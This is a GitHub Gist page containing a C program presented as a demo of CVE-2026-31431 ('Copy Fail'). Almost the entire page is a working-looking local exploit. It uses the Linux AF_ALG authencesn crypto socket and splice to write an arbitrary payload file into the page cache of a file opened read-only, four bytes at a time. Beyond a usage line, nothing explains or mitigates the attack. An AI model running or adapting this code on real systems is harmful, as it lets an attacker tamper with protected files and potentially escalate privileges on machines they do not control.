-
-
Save bczhc/3799ea6664f3955cc0693b863727cd29 to your computer and use it in GitHub Desktop.
CVE-2026-31431 ("Copy Fail") buffer tampering demo in C
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <fcntl.h> | |
| #include <sys/socket.h> | |
| #include <sys/syscall.h> | |
| #include <sys/types.h> | |
| #include <stdint.h> | |
| #ifndef AF_ALG | |
| #define AF_ALG 38 | |
| #endif | |
| #ifndef SOL_ALG | |
| #define SOL_ALG 279 | |
| #endif | |
| struct sockaddr_alg | |
| { | |
| unsigned short salg_family; | |
| unsigned char salg_type[14]; | |
| unsigned int salg_feat; | |
| unsigned int salg_mask; | |
| unsigned char salg_name[64]; | |
| }; | |
| static inline ssize_t do_splice(int fd_in, loff_t* off_in, int fd_out, loff_t* off_out, size_t len) | |
| { | |
| return syscall(__NR_splice, fd_in, off_in, fd_out, off_out, len, 0); | |
| } | |
| int main(int argc, const char **argv) | |
| { | |
| if (argc != 3) | |
| { | |
| printf("Usage: cmd <ro-file> <payload-file>"); | |
| return 1; | |
| } | |
| const char *ro_file = argv[1]; | |
| const char *payload_file = argv[2]; | |
| FILE *fp_payload = fopen(payload_file, "rb"); | |
| if (fp_payload == NULL) | |
| { | |
| printf("Failed to open payload_file"); | |
| return 1; | |
| } | |
| int ret = fseek(fp_payload, 0, SEEK_END); | |
| if (ret != 0) | |
| { | |
| printf("Failed to seek payload_file"); | |
| return 1; | |
| } | |
| size_t payload_size = ftell(fp_payload); | |
| uint8_t* payload_buf = malloc(payload_size); | |
| fseek(fp_payload, SEEK_SET, 0); | |
| size_t read_size = fread(payload_buf, 1, payload_size, fp_payload); | |
| if (read_size < payload_size) | |
| { | |
| printf("Unexpected EOF"); | |
| return 1; | |
| } | |
| int file_fd, alg_fd, op_fd, pipefd[2]; | |
| unsigned char key[40]; | |
| unsigned char msg_data[8]; | |
| unsigned char cbuf[1024]; | |
| unsigned char rbuf[256]; | |
| struct sockaddr_alg sa; | |
| struct iovec iov; | |
| struct msghdr msg; | |
| struct cmsghdr* cmsg; | |
| int clen; | |
| size_t i, count; | |
| loff_t file_off; | |
| file_fd = open(ro_file, O_RDONLY); | |
| if (file_fd < 0) | |
| { | |
| perror("open"); | |
| return 1; | |
| } | |
| memset(key, 0, sizeof(key)); | |
| key[0] = 0x08; | |
| key[2] = 0x01; | |
| key[7] = 0x10; | |
| for (i = 0; i < payload_size; i += 4) | |
| { | |
| alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); | |
| if (alg_fd == -1) | |
| { | |
| perror("AF_ALG is not supported"); | |
| return 1; | |
| } | |
| printf("alg_fd: %d\n", alg_fd); | |
| memset(&sa, 0, sizeof(sa)); | |
| sa.salg_family = AF_ALG; | |
| strcpy((char*)sa.salg_type, "aead"); | |
| strcpy((char*)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))"); | |
| bind(alg_fd, (struct sockaddr*)&sa, sizeof(sa)); | |
| setsockopt(alg_fd, SOL_ALG, 1, key, sizeof(key)); | |
| setsockopt(alg_fd, SOL_ALG, 5, NULL, 4); | |
| op_fd = accept(alg_fd, NULL, NULL); | |
| printf("op_fd: %d\n", op_fd); | |
| close(alg_fd); | |
| memcpy(msg_data, "AAAA", 4); | |
| memcpy(msg_data + 4, payload_buf + i, 4); | |
| iov.iov_base = msg_data; | |
| iov.iov_len = sizeof(msg_data); | |
| clen = 0; | |
| cmsg = (struct cmsghdr*)(cbuf + clen); | |
| cmsg->cmsg_level = SOL_ALG; | |
| cmsg->cmsg_type = 3; | |
| cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned int)); | |
| *(unsigned int*)CMSG_DATA(cmsg) = 0; | |
| clen += CMSG_SPACE(sizeof(unsigned int)); | |
| cmsg = (struct cmsghdr*)(cbuf + clen); | |
| cmsg->cmsg_level = SOL_ALG; | |
| cmsg->cmsg_type = 2; | |
| cmsg->cmsg_len = CMSG_LEN(20); | |
| memset(CMSG_DATA(cmsg), 0, 20); | |
| ((unsigned char*)CMSG_DATA(cmsg))[0] = 0x10; | |
| clen += CMSG_SPACE(20); | |
| cmsg = (struct cmsghdr*)(cbuf + clen); | |
| cmsg->cmsg_level = SOL_ALG; | |
| cmsg->cmsg_type = 4; | |
| cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned int)); | |
| *(unsigned int*)CMSG_DATA(cmsg) = 8; | |
| clen += CMSG_SPACE(sizeof(unsigned int)); | |
| memset(&msg, 0, sizeof(msg)); | |
| msg.msg_iov = &iov; | |
| msg.msg_iovlen = 1; | |
| msg.msg_control = cbuf; | |
| msg.msg_controllen = clen; | |
| sendmsg(op_fd, &msg, 0x8000); | |
| pipe(pipefd); | |
| count = i + 4; | |
| file_off = 0; | |
| ssize_t do_splice1 = do_splice(file_fd, &file_off, pipefd[1], NULL, count); | |
| ssize_t do_splice2 = do_splice(pipefd[0], NULL, op_fd, NULL, count); | |
| printf("do_splice1: %ld\n", do_splice1); | |
| printf("do_splice2: %ld\n", do_splice2); | |
| recv(op_fd, rbuf, 8 + i, 0); | |
| close(pipefd[0]); | |
| close(pipefd[1]); | |
| close(op_fd); | |
| } | |
| close(file_fd); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment